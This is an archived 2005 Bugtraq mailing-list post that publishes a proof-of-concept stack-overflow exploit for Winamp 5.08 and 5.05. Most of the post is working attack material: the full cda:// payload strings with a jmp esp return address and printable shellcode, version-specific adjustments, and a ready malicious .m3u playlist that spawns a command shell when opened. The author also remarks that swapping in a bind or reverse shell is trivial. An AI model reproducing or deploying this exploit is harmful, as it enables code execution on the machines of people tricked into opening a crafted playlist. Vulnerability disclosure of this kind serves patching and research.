Winamp Exploit (POC) 5.08 Stack Overflow

From: Rojodos (rojo2_bugtraq_at_yahoo.es)
Date: 01/28/05

  • Next message: David LeBlanc: "RE: SECURITY.NNOV: Multiple applications fd_set structure bitmap array index overflow" 
    Date: Fri, 28 Jan 2005 20:11:9 +0100
To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>

    Hello :)

    Ive coded an exploit about this vulnerability, using the advisory "NSFOCUS SA2005-01 : Buffer Overflow in WinAMP in_cdda.dll CDA Device Name" as a guide. The advisory is very good, so its very easy to code the exploit.

    This code:

    cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ3WEcEmEdE.EeExEeDwP]S

    Should spawn a shell in a WinXP SP1 with Winamp 5.08, I have used as offset 0x5f20546e olepro32.dll, a "jmp esp" (nT _)

    3WEcEmEdE.EeExEeDwP]S is the scode in "printable" chars.

    I wrote the scode sometime ago, in http://foro.elhacker.net Its a very very simple scode, with hardcoded system() call (im a noob, sorry xD)

    I have used AAAABBBBCCCC... to see how big is the buffer, and to see where the ret is overflowed (in 5.08 exactly in HIII)

    In Winamp 5.05 works the same code, but the ret is "IIII", so the exploit must have another "H":

     cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHnT _IJJJ3WEcEmEdE.EeExEeDwP]S

    Then, the exploit works fine in Winamp 5.05 and spawns a shell :)

    I have only tested it in 5.08 and 5.05, but I think that its easy to "port" the exploit to another version.

    These codes can be saved in a archive type m3u (playlist archive Winamp)

    If you copy these codes in a text archive like this (Winamp 5.08):

    #EXTM3U
    #EXTINF:5,DJ Mike Llama - Llama Whippin' Intro
    cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ3WEcEmEdE.EeExEeDwP]S

    (for example, i have used the "demo" archive, DJ Mike Llama and edit the PLAY LIST ENTRY)

    And save as *.m3u file, if you open this (in this case, I repeat, with Winamp 5.08), a cmd shell will appear :)

    Its trivial to change the shellcode to make a bindport, reverse shell, etc..

    I atach two exploits, one for Winamp 5.08 and the other for Winamp 5.05 (the are only de special m3u files)

    Sorry about my bad english, Im spanish :) (Spain exists :D)

    Greets to http://www.elhacker.net and http://foro.elhacker.net and all the people I know, especially "her" (Isthar) :)

    THE REAL ELHACKER.NET! :D

    Best regards.

    Rojodos

    rojo2_bugtraq@yahoo.es
    2005-01-28

  • Next message: David LeBlanc: "RE: SECURITY.NNOV: Multiple applications fd_set structure bitmap array index overflow"

    Relevant Pages

    • [Full-Disclosure] Winamp Exploit (POC) 5.08 Stack Overflow
      ... These codes can be saved in a archive type m3u (playlist archive Winamp) ... (for example, i have used the "demo" archive, DJ Mike Llama and edit the PLAY LIST ENTRY) ... Its trivial to change the shellcode to make a bindport, reverse shell, etc.. ...
      (Full-Disclosure)
    • Re: Shell Exit code 141.???
      ... Shell script itself doesn't return any exit codes. ...
      (comp.unix.admin)
    • Re: method ordering for Unit Test
      ... Test codes are written in logical order; ... That order is well kept in source file ... it keeps you on your toes and reminds you to watch out for execution order ... Shell and moved to my Model as many as possible and test the Model ...
      (comp.lang.smalltalk.dolphin)
    • Re: Multimedia-Dateien abspielen
      ... von "Playlist" per Hand. ... nchste Shell nachwerfen. ... Oder, wenn es sich z.B. um Dateien fr den mediaplayer handelt, erstelle ... Shell-Funktionen hinter welchen Meneintragen wie z.B. "Play in Winamp" ...
      (microsoft.public.de.vb)
    • Re: test shell question
      ... >> does anyone know if theres a shell out there that uses ncurses that i ... > ANSI x3.64) codes, so you can code a library of routines using ... and replace it with libraries for other terminals when ... > Apress website. ...
      (alt.linux)